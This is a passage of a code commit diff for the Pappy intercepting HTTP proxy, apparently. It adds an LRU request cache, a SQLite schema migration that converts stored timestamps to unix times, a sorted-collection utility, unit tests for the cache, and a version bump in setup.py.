+                RequestCache.req_times[str(row[0])] = 0
+            if str(row[0]) not in RequestCache.all_ids:
+                RequestCache.ordered_ids.insert(str(row[0]))
+            RequestCache.all_ids.add(str(row[0]))
+
+        rows = yield pappyproxy.http.dbpool.runQuery(
+            """
+            SELECT unmangled_id FROM requests
+            WHERE unmangled_id is NOT NULL;
+            """
+        )
+        for row in rows:
+            RequestCache.unmangled_ids.add(str(row[0]))
+
+    def resize(self, size):
+        if size >= self._cache_size or size == -1:
+            self._cache_size = size
+        else:
+            while len(self._cached_reqs) > size:
+                self._evict_single()
+            self._cache_size = size
+            
+    def assert_ids(self):
+        for k, v in self._cached_reqs.iteritems():
+            assert v.reqid is not None
+        
+    @defer.inlineCallbacks
+    def get(self, reqid):
+        """
+        Get a request by id
+        """
+        self.assert_ids()
+        if self.check(reqid):
+            self._update_last_used(reqid)
+            self.hits += 1
+            req = self._cached_reqs[reqid]
+            defer.returnValue(req)
+        else:
+            self.misses += 1
+            newreq = yield pappyproxy.http.Request.load_request(reqid, use_cache=False)
+            self.add(newreq)
+            defer.returnValue(newreq)
+
+    def check(self, reqid):
+        """
+        Returns True if the id is cached, false otherwise
+        """
+        self.assert_ids()
+        return reqid in self._cached_reqs
+
+    def add(self, req):
+        """
+        Add a request to the cache
+        """
+        self.assert_ids()
+        if not req.reqid:
+            req.reqid = RequestCache.get_memid()
+        if req.reqid[0] == 'm':
+            self.inmem_reqs.add(req)
+        self._cached_reqs[req.reqid] = req
+        self._update_last_used(req.reqid)
+        RequestCache.req_times[req.reqid] = req.sort_time
+        if req.reqid not in RequestCache.all_ids:
+            RequestCache.ordered_ids.insert(req.reqid)
+        RequestCache.all_ids.add(req.reqid)
+        self._update_meta()
+        if len(self._cached_reqs) > self._cache_size and self._cache_size != -1:
+            self._evict_single()
+
+    def evict(self, reqid):
+        """
+        Remove a request from the cache by its id.
+        """
+        # Remove request from cache
+        if reqid in self._cached_reqs:
+
+            # Remove id from data structures
+            del self._cached_reqs[reqid]
+            del self._last_used[reqid]
+
+            # New minimum
+            self._update_min(reqid)
+
+    @defer.inlineCallbacks
+    def load(self, first, num):
+        """
+        Load a number of requests after an id into the cache
+        """
+        reqs = yield pappyproxy.http.Request.load_requests_by_time(first, num)
+        for r in reqs:
+            self.add(r)
+        # Bulk loading is faster, so let's just say that loading 10 requests is
+        # 5 misses. We don't count hits since we'll probably hit them
+        self.misses += len(reqs)/2.0
+
+    def req_it(self, num=-1, ids=None, include_unmangled=False):
+        """
+        A generator over all the requests in history when the function was called.
+        Generates deferreds which resolve to requests.
+        """
+        count = 0
+        @defer.inlineCallbacks
+        def def_wrapper(reqid, load=False, num=1):
+            if not self.check(reqid) and load:
+                yield self.load(reqid, num)
+            req = yield self.get(reqid)
+            defer.returnValue(req)
+        
+        over = list(RequestCache.ordered_ids)
+        for reqid in over:
+            if ids is not None and reqid not in ids:
+                continue
+            if not include_unmangled and reqid in RequestCache.unmangled_ids:
+                continue
+            do_load = True
+            if reqid in RequestCache.all_ids:
+                if count % RequestCache._preload_limit == 0:
+                    do_load = True
+                if do_load and not self.check(reqid):
+                    do_load = False
+                    if (num - count) < RequestCache._preload_limit and num != -1:
+                        loadnum = num - count
+                    else:
+                        loadnum = RequestCache._preload_limit
+                    yield def_wrapper(reqid, load=True, num=loadnum)
+                else:
+                    yield def_wrapper(reqid)
+                count += 1
+                if count >= num and num != -1:
+                    break
+
+    @defer.inlineCallbacks
+    def load_by_tag(tag):
+        reqs = yield load_requests_by_tag(tag)
+        for req in reqs:
+            self.add(req)
+        defer.returnValue(reqs)
+
+    def _evict_single(self):
+        """
+        Evicts one item from the cache
+        """
+        # Get the request
+        victim_id = self._min_time[0]
+        req = self._cached_reqs[victim_id]
+        self.evict(victim_id)
+
+    def _update_min(self, updated_reqid=None):
+        new_min = None
+        if updated_reqid is None or self._min_time is None or self._min_time[0] == updated_reqid:
+            for k, v in self._last_used.iteritems():
+                if new_min is None or v < new_min[1]:
+                    new_min = (k, v)
+            self._min_time = new_min
+
+    def _update_last_used(self, reqid):
+        t = time.time()
+        self._last_used[reqid] = t
+        self._update_min(reqid)
+
+class RequestCacheIterator(object):
+    """
+    An iterator to iterate over requests in history through the request cache.
+    """
+    pass

pappyproxy/schema/schema_6.py

@@ -0,0 +1,87 @@
+import time
+import datetime
+from pappyproxy import http
+from twisted.internet import defer
+
+"""
+Schema v6
+
+Description:
+Replaces the string representation of times with unix times so that we can select
+by most recent first. Also deletes old tag column.
+"""
+
+update_queries = [
+    """
+    CREATE TABLE requests_new (
+        id                INTEGER   PRIMARY KEY  AUTOINCREMENT,
+        full_request      BLOB      NOT NULL,
+        submitted         INTEGER   NOT NULL,
+        response_id       INTEGER   REFERENCES responses(id),
+        unmangled_id      INTEGER   REFERENCES requests(id),
+        port              INTEGER,
+        is_ssl            INTEGER,
+        host              TEXT,
+        plugin_data       TEXT,
+        start_datetime    REAL,
+        end_datetime      REAL
+    );
+    """,
+
+    """
+    INSERT INTO requests_new (id, full_request, submitted, response_id, unmangled_id, port, is_ssl, host, plugin_data) SELECT id, full_request, submitted, response_id, unmangled_id, port, is_ssl, host, plugin_data FROM requests;
+    """,
+]
+
+drop_queries = [
+    """
+    DROP TABLE requests;
+    """,
+
+    """
+    ALTER TABLE requests_new RENAME TO requests;
+    """
+]
+
+@defer.inlineCallbacks
+def update(dbpool):
+    for query in update_queries:
+        yield dbpool.runQuery(query)
+    reqrows = yield dbpool.runQuery(
+        """
+        SELECT id, start_datetime, end_datetime
+        FROM requests;
+        """,
+        )
+
+    new_times = []
+    
+    for row in reqrows:
+        reqid = row[0]
+        if row[1]:
+            start_datetime = datetime.datetime.strptime(row[1], "%Y-%m-%dT%H:%M:%S.%f")
+            start_unix_time = time.mktime(start_datetime.timetuple())
+        else:
+            start_unix_time = None
+        if row[2]:
+            end_datetime = datetime.datetime.strptime(row[2], "%Y-%m-%dT%H:%M:%S.%f")
+            end_unix_time = time.mktime(end_datetime.timetuple())
+        else:
+            end_unix_time = None
+        new_times.append((reqid, start_unix_time, end_unix_time))
+
+    for reqid, start_unix_time, end_unix_time in new_times:
+        yield dbpool.runQuery(
+            """
+            UPDATE requests_new SET start_datetime=?, end_datetime=? WHERE id=?;
+            """, (start_unix_time, end_unix_time, reqid)
+        )
+
+    for query in drop_queries:
+        yield dbpool.runQuery(query)
+
+    yield dbpool.runQuery(
+        """
+        UPDATE schema_meta SET version=6;
+        """
+    )

pappyproxy/sortedcollection.py

@@ -0,0 +1,200 @@
+"""
+Sorted collection for maintaining a sorted list.
+
+Taken from http://code.activestate.com/recipes/577197-sortedcollection/
+"""
+
+from bisect import bisect_left, bisect_right
+
+class SortedCollection(object):
+    '''Sequence sorted by a key function.
+
+    SortedCollection() is much easier to work with than using bisect() directly.
+    It supports key functions like those use in sorted(), min(), and max().
+    The result of the key function call is saved so that keys can be searched
+    efficiently.
+
+    Instead of returning an insertion-point which can be hard to interpret, the
+    five find-methods return a specific item in the sequence. They can scan for
+    exact matches, the last item less-than-or-equal to a key, or the first item
+    greater-than-or-equal to a key.
+
+    Once found, an item's ordinal position can be located with the index() method.
+    New items can be added with the insert() and insert_right() methods.
+    Old items can be deleted with the remove() method.
+
+    The usual sequence methods are provided to support indexing, slicing,
+    length lookup, clearing, copying, forward and reverse iteration, contains
+    checking, item counts, item removal, and a nice looking repr.
+
+    Finding and indexing are O(log n) operations while iteration and insertion
+    are O(n).  The initial sort is O(n log n).
+
+    The key function is stored in the 'key' attibute for easy introspection or
+    so that you can assign a new key function (triggering an automatic re-sort).
+
+    In short, the class was designed to handle all of the common use cases for
+    bisect but with a simpler API and support for key functions.
+
+    >>> from pprint import pprint
+    >>> from operator import itemgetter
+
+    >>> s = SortedCollection(key=itemgetter(2))
+    >>> for record in [
+    ...         ('roger', 'young', 30),
+    ...         ('angela', 'jones', 28),
+    ...         ('bill', 'smith', 22),
+    ...         ('david', 'thomas', 32)]:
+    ...     s.insert(record)
+
+    >>> pprint(list(s))         # show records sorted by age
+    [('bill', 'smith', 22),
+     ('angela', 'jones', 28),
+     ('roger', 'young', 30),
+     ('david', 'thomas', 32)]
+
+    >>> s.find_le(29)           # find oldest person aged 29 or younger
+    ('angela', 'jones', 28)
+    >>> s.find_lt(28)           # find oldest person under 28
+    ('bill', 'smith', 22)
+    >>> s.find_gt(28)           # find youngest person over 28
+    ('roger', 'young', 30)
+
+    >>> r = s.find_ge(32)       # find youngest person aged 32 or older
+    >>> s.index(r)              # get the index of their record
+    3
+    >>> s[3]                    # fetch the record at that index
+    ('david', 'thomas', 32)
+
+    >>> s.key = itemgetter(0)   # now sort by first name
+    >>> pprint(list(s))
+    [('angela', 'jones', 28),
+     ('bill', 'smith', 22),
+     ('david', 'thomas', 32),
+     ('roger', 'young', 30)]
+
+    '''
+
+    def __init__(self, iterable=(), key=None):
+        self._given_key = key
+        key = (lambda x: x) if key is None else key
+        decorated = sorted((key(item), item) for item in iterable)
+        self._keys = [k for k, item in decorated]
+        self._items = [item for k, item in decorated]
+        self._key = key
+
+    def _getkey(self):
+        return self._key
+
+    def _setkey(self, key):
+        if key is not self._key:
+            self.__init__(self._items, key=key)
+
+    def _delkey(self):
+        self._setkey(None)
+
+    key = property(_getkey, _setkey, _delkey, 'key function')
+
+    def clear(self):
+        self.__init__([], self._key)
+
+    def copy(self):
+        return self.__class__(self, self._key)
+
+    def __len__(self):
+        return len(self._items)
+
+    def __getitem__(self, i):
+        return self._items[i]
+
+    def __iter__(self):
+        return iter(self._items)
+
+    def __reversed__(self):
+        return reversed(self._items)
+
+    def __repr__(self):
+        return '%s(%r, key=%s)' % (
+            self.__class__.__name__,
+            self._items,
+            getattr(self._given_key, '__name__', repr(self._given_key))
+        )
+
+    def __reduce__(self):
+        return self.__class__, (self._items, self._given_key)
+
+    def __contains__(self, item):
+        k = self._key(item)
+        i = bisect_left(self._keys, k)
+        j = bisect_right(self._keys, k)
+        return item in self._items[i:j]
+
+    def index(self, item):
+        'Find the position of an item.  Raise ValueError if not found.'
+        k = self._key(item)
+        i = bisect_left(self._keys, k)
+        j = bisect_right(self._keys, k)
+        return self._items[i:j].index(item) + i
+
+    def count(self, item):
+        'Return number of occurrences of item'
+        k = self._key(item)
+        i = bisect_left(self._keys, k)
+        j = bisect_right(self._keys, k)
+        return self._items[i:j].count(item)
+
+    def insert(self, item):
+        'Insert a new item.  If equal keys are found, add to the left'
+        k = self._key(item)
+        i = bisect_left(self._keys, k)
+        self._keys.insert(i, k)
+        self._items.insert(i, item)
+
+    def insert_right(self, item):
+        'Insert a new item.  If equal keys are found, add to the right'
+        k = self._key(item)
+        i = bisect_right(self._keys, k)
+        self._keys.insert(i, k)
+        self._items.insert(i, item)
+
+    def remove(self, item):
+        'Remove first occurence of item.  Raise ValueError if not found'
+        i = self.index(item)
+        del self._keys[i]
+        del self._items[i]
+
+    def find(self, k):
+        'Return first item with a key == k.  Raise ValueError if not found.'
+        i = bisect_left(self._keys, k)
+        if i != len(self) and self._keys[i] == k:
+            return self._items[i]
+        raise ValueError('No item found with key equal to: %r' % (k,))
+
+    def find_le(self, k):
+        'Return last item with a key <= k.  Raise ValueError if not found.'
+        i = bisect_right(self._keys, k)
+        if i:
+            return self._items[i-1]
+        raise ValueError('No item found with key at or below: %r' % (k,))
+
+    def find_lt(self, k):
+        'Return last item with a key < k.  Raise ValueError if not found.'
+        i = bisect_left(self._keys, k)
+        if i:
+            return self._items[i-1]
+        raise ValueError('No item found with key below: %r' % (k,))
+
+    def find_ge(self, k):
+        'Return first item with a key >= equal to k.  Raise ValueError if not found'
+        i = bisect_left(self._keys, k)
+        if i != len(self):
+            return self._items[i]
+        raise ValueError('No item found with key at or above: %r' % (k,))
+
+    def find_gt(self, k):
+        'Return first item with a key > k.  Raise ValueError if not found'
+        i = bisect_right(self._keys, k)
+        if i != len(self):
+            return self._items[i]
+        raise ValueError('No item found with key above: %r' % (k,))
+

pappyproxy/tests/test_requestcache.py

@@ -0,0 +1,112 @@
+import pytest
+
+from pappyproxy.requestcache import RequestCache, RequestCacheIterator
+from pappyproxy.http import Request, Response, get_request
+from pappyproxy.util import PappyException
+
+def gen_reqs(n):
+    ret = []
+    for i in range(1, n+1):
+        r = get_request('https://www.kdjasdasdi.sadfasdf')
+        r.headers['Test-Id'] = i
+        r.reqid = str(i)
+        ret.append(r)
+    return ret
+
+@pytest.inlineCallbacks
+def test_cache_simple():
+    reqs = gen_reqs(5)
+    cache = RequestCache(5)
+    cache.add(reqs[0])
+    g = yield cache.get('1')
+    assert g == reqs[0]
+    
+def test_cache_evict():
+    reqs = gen_reqs(5)
+    cache = RequestCache(3)
+    cache.add(reqs[0])
+    cache.add(reqs[1])
+    cache.add(reqs[2])
+    cache.add(reqs[3])
+    assert not cache.check(reqs[0].reqid)
+    assert cache.check(reqs[1].reqid)
+    assert cache.check(reqs[2].reqid)
+    assert cache.check(reqs[3].reqid)
+    
+    # Testing the implementation
+    assert reqs[0].reqid not in cache._cached_reqs
+    assert reqs[1].reqid in cache._cached_reqs
+    assert reqs[2].reqid in cache._cached_reqs
+    assert reqs[3].reqid in cache._cached_reqs
+
+@pytest.inlineCallbacks
+def test_cache_lru():
+    reqs = gen_reqs(5)
+    cache = RequestCache(3)
+    cache.add(reqs[0])
+    cache.add(reqs[1])
+    cache.add(reqs[2])
+    yield cache.get(reqs[0].reqid)
+    cache.add(reqs[3])
+    assert cache.check(reqs[0].reqid)
+    assert not cache.check(reqs[1].reqid)
+    assert cache.check(reqs[2].reqid)
+    assert cache.check(reqs[3].reqid)
+    
+    # Testing the implementation
+    assert reqs[0].reqid in cache._cached_reqs
+    assert reqs[1].reqid not in cache._cached_reqs
+    assert reqs[2].reqid in cache._cached_reqs
+    assert reqs[3].reqid in cache._cached_reqs
+
+@pytest.inlineCallbacks
+def test_cache_lru_add():
+    reqs = gen_reqs(5)
+    cache = RequestCache(3)
+    cache.add(reqs[0])
+    cache.add(reqs[1])
+    cache.add(reqs[2])
+    yield cache.add(reqs[0])
+    cache.add(reqs[3])
+    assert cache.check(reqs[0].reqid)
+    assert not cache.check(reqs[1].reqid)
+    assert cache.check(reqs[2].reqid)
+    assert cache.check(reqs[3].reqid)
+    
+    # Testing the implementation
+    assert reqs[0].reqid in cache._cached_reqs
+    assert reqs[1].reqid not in cache._cached_reqs
+    assert reqs[2].reqid in cache._cached_reqs
+    assert reqs[3].reqid in cache._cached_reqs
+
+@pytest.inlineCallbacks
+def test_cache_inmem_simple():
+    cache = RequestCache(3)
+    req = gen_reqs(1)[0]
+    req.reqid = None
+    cache.add(req)
+    assert req.reqid[0] == 'm'
+    g = yield cache.get(req.reqid)
+    assert req == g
+
+def test_cache_inmem_evict():
+    reqs = gen_reqs(5)
+    cache = RequestCache(3)
+    reqs[0].reqid = None
+    reqs[1].reqid = None
+    reqs[2].reqid = None
+    reqs[3].reqid = None
+    cache.add(reqs[0])
+    cache.add(reqs[1])
+    cache.add(reqs[2])
+    cache.add(reqs[3])
+    assert not cache.check(reqs[0].reqid)
+    assert cache.check(reqs[1].reqid)
+    assert cache.check(reqs[2].reqid)
+    assert cache.check(reqs[3].reqid)
+    
+    # Testing the implementation
+    assert reqs[0] in RequestCache.inmem_reqs
+    assert reqs[1] in RequestCache.inmem_reqs
+    assert reqs[2] in RequestCache.inmem_reqs
+    assert reqs[3] in RequestCache.inmem_reqs

refactor.org

@@ -0,0 +1,4 @@
+#+STARTUP: indent
+
+* Request
+** TODO Fix data gotten from start_line

setup.py

@@ -3,8 +3,10 @@
 import pkgutil
 from setuptools import setup, find_packages
 
+VERSION = '0.2.1'
+
 setup(name='pappyproxy',
-      version='0.2.0',
+      version=VERSION,
       description='The Pappy Intercepting Proxy',
       author='Rob Glew',
       author_email='rglew56@gmail.com',
@@ -17,7 +19,7 @@ setup(name='pappyproxy',
           },
       long_description=open('docs/source/overview.rst').read(),
       keywords='http proxy hacking 1337hax pwnurmum',
-      download_url='https://github.com/roglew/pappy-proxy/archive/0.1.1.tar.gz',
+      download_url='https://github.com/roglew/pappy-proxy/archive/%s.tar.gz'%VERSION,
       install_requires=[
           'beautifulsoup4>=4.4.1',
           'cmd2>=0.6.8',